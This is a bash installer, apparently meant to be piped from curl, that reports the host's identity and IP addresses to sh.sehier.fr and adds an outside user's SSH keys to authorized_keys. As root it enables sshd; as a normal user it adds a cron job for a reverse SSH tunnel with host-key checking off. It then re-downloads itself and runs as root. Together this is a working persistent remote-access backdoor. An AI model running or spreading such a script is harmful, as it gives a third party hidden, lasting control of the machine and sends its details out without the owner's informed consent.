#!/bin/bash
#
cat </dev/null
# launch this script in a terminal with the following command:
curl -L sh.sehier.fr | bash
EOF
#
export MY_HOST=$(hostname -f)
export MY_ID="$(id -u):$(id -un)"
export MY_LOCAL_IP_192="$(ip ad | awk '/inet.*192\>/ {print $2}')"
export DEBIAN_FRONTEND=noninteractive
# Check how to get root:
if command -v gksudo >/dev/null ; then
SUDO="$(command -v gksudo)"
elif command -v gksu >/dev/null ; then
SUDO="$(command -v gksu --sudo-mode)"
elif command -v sudo >/dev/null ; then
SUDO="$(command -v sudo)"
else
echo "No command found for sudo, good luck"
fi
# Check if we have curl, or wget, or GET (from libwww-perl).
# if none is found, try and install curl.. :crossedfingers:
if command -v curl ;then
export GETHTTP="$(command -v curl) -sSL"
elif command -v wget ;then
export GETHTTP="$(command -v wget) -O-"
elif command -v GET; then
export GETHTTP="$(command -v GET)"
else
$SUDO apt update
$SUDO apt install -y curl
export GETHTTP="$(command -v curl) -sSL"
fi
export MY_EXT_IP4="$($GETHTTP -sSL -m5 -4 ip.sehier.fr)"
export MY_EXT_IP6="$($GETHTTP -sSL -m5 -6 ip.sehier.fr)"
$GETHTTP -sSL "https://sh.sehier.fr/report/${MY_ID}@${MY_HOST},local-${MY_LOCAL_IP_192},ext4-${MY_EXT_IP4},ext6-${MY_EXT_IP6}/sudo=${SUDO}/"
[ -d ~/.ssh ] || mkdir -p ~/.ssh
grep -q -w saimonn ~/.ssh/authorized_keys || \
echo "$($GETHTTP https://github.com/saimonn.keys) saimonn" >> ~/.ssh/authorized_keys
case $(id -u) in
0)
# when root, only need to install/enable ssh daemon
DEBIAN_FRONTEND=noninteractive apt update
DEBIAN_FRONTEND=noninteractive apt install -y ssh
systemctl enable --now ssh
;;
*)
# when user, install ssh reverse tunnel in crontab,
# and send public key in GET
if ( crontab -l | grep -q ssh.*sehier.fr );then
echo "Crontab already present"
else
export MY_PORT="$((30000+RANDOM%1000))"
( crontab -l
echo "*/5 * * * * ssh -q -oStrictHostKeyChecking=no -R${MY_PORT}:127.0.0.1:22 sh.sehier.fr sleep 292 2>&1 > /dev/null"
) | crontab -
fi
if ! [ -f ~/.ssh/id_ed25519 ] ;then
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
fi
export MY_ID_ED25519="$(cat ~/.ssh/id_ed25519.pub)"
$GETHTTP "https://sh.sehier.fr/report/${MY_ID}@${MY_HOST},local-${MY_LOCAL_IP_192},ext4-${MY_EXT_IP4},ext6-${MY_EXT_IP6}/myRSSHport:${MY_PORT},ID_ED25519:${MY_ID_ED25519}/"
TMPFILE="$(mktemp script-simon-XXXX)"
$GETHTTP https://sh.sehier.fr/ > $TMPFILE
echo "Now calling this same script as root"
$SUDO bash $TMPFILE
;;
esac
echo End